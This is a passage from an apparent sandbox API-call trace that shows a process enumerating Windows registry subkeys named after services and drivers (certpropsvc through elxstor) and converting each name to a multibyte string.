RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0220.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0220.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0220.710] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0220.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0220.710] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0220.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0220.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0220.710] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0220.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0220.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x21f16e8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0220.710] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0220.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0220.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x21f1a48, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0220.711] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0220.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0220.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x21f16e8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0220.711] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0220.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0220.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x21f1a48, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0220.711] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0220.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0220.711] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0220.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0220.711] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0220.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0220.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0220.711] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0220.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0220.711] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0220.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0220.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x21f16e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0220.712] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0220.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0220.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x21f1a48, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0220.712] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0220.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0220.712] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0220.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0220.712] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0220.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0220.712] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0220.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0220.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0220.712] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0220.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0220.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x21f16e8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0220.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0220.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0220.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x21f1a48, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0220.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0220.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0220.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x21f16e8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0220.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0220.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0220.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x21f1a48, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0220.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0220.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0220.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0220.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0220.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0220.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0220.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0220.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0220.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x21f16e8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0220.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0220.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0220.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0220.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0220.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0220.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0220.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0220.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0220.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0220.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0220.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0220.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0220.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0220.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0220.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0220.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0220.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0220.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0220.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0220.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0220.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0220.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0220.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0220.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0220.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0220.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0220.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0220.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0220.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0220.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0220.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0220.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0220.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 